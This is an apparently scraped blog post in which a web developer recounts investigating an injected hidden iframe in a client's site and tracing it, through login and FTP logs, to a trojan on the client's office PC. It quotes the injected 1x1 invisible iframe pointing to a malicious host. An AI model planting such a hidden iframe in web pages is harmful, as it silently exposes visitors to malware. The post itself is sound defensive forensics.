Tag: Security

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Warning: Division by zero in /var/www/sites/jtnew/wp-content/themes/twentysixteen/functions.php on line 16

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I’ll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Discovering a problem
A client called, complaining that the content management system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src=”http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style=”visibility: hidden”></iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it’s not as bad as it could be. I emailed my wife and told her I’d be unavailable via phone/email/etc. for the next few hours.

Finding the cause
Tracking down the source of a hack or code injection like this can often be tricky. How tricky it is depends on your individual skill set, past experiences, and the complexity of the problem, itself. This one turned out to be easy, partially because I’ve done this before and know many of the places to look, but mostly because it wasn’t really a hack. Not locally, anyway. One of my developers and I sat down in my office and I started looking at the hacked files. Using the following command (from the client’s web root), I displayed a list of all files that were modified that day:

ls -laR |grep "Apr 24"

What it returned was a list of the index files I was already aware of. Good. I then ran the same command on other sites to be sure this was isolated and it was. Next, I checked “last” to see who’s been logging into my server:

last |grep [client username redacted] |grep Apr

Last shows all the recent logins from SSH, FTP, etc. Immediately, I noted a large number of FTP connections for the client site I was investigating, which looked suspicious. I headed to my FTP log files and grepped my “secure” log files for “Incorrect”:

grep Incorrect /var/log/secure*

Your system may use something other than “Incorrect” to indicate a bad login and your “secure” log file location may vary. This grep showed only a few bad attempts, which is fairly normal and not what I expected to see if the account had been brute-forced. I moved on to the FTP log file to see what transfers were made. You’ll need to find your own FTP log location if you don’t know where it is already.

grep "Apr 24" xferlog*

I did this mostly to confirm that I was on the right track, but it uncovered even more oddness. Here’s a bit of what I saw:

Fri Apr 24 11:17:32 2009 0 [ip redacted] 4289 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:38 2009 2 [ip redacted] 4402 /var/www/vhosts/[domain redacted]/httpdocs/index.php a _ i r [username redacted] ftp 0 * c
Fri Apr 24 11:17:51 2009 0 [ip redacted] 2836 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ o r [username redacted] ftp 0 * c
Fri Apr 24 11:17:56 2009 0 [ip redacted] 2949 /var/www/vhosts/[domain redacted]/httpdocs/admin/index.php a _ i r [username redacted] ftp 0 * c

For each index file that had the iframe HTML added to the end, there was a download and then an upload five or six seconds later. The speed indicated that it was a script and the fact that it was all done via FTP indicated that if there was a compromised computer somewhere, it was remote and my server was safe.

Cleaning it all up
In this case, cleanup was easy. First, I backed up all the log files for further review just in case I need them. Then I changed the client’s FTP password. Finally, I pulled the latest (clean) versions of the affected index.php files from our subversion repository and uploaded them back to the site.

Preventing future occurrences
I wanted to find out exactly how someone who should clearly not have the client’s FTP credentials wound up with them. My theory was that the client’s computer had been compromised. I headed to arin.net and used their handy IP whois tool to see who the one prominent IP address from the log files belonged to. It turned out to be a COX IP registered to Atlanta, GA. We called the client and asked them if they had anyone there. They did not. The FTP logs also showed uploads, recently, of files documents that related to the client and looked to be legitimate, so we asked who uploaded them and conferenced him in. A couple questions quickly revealed that not only was the IP their local office computers, but the computers there had been “acting funny, randomly rebooting, etc.” for the last day or so. We sent their computer guy out to take care of the problem, which turned out to be a trojan.

Conclusions
First of all, this was a very easy problem to diagnose and fix. I’ve been on the bad end of some serious hacks and this was by no means a bad one. For the client, however, the day proved much more frustrating. The expense incurred from having the IT guy come out and the thought that it could have been much worse (like their site replaced with something untoward), should be a lesson to be very careful about what you download, what you click, and the sites you visit. The best policy is to only open or run things from sites and people you trust, and even then, use caution.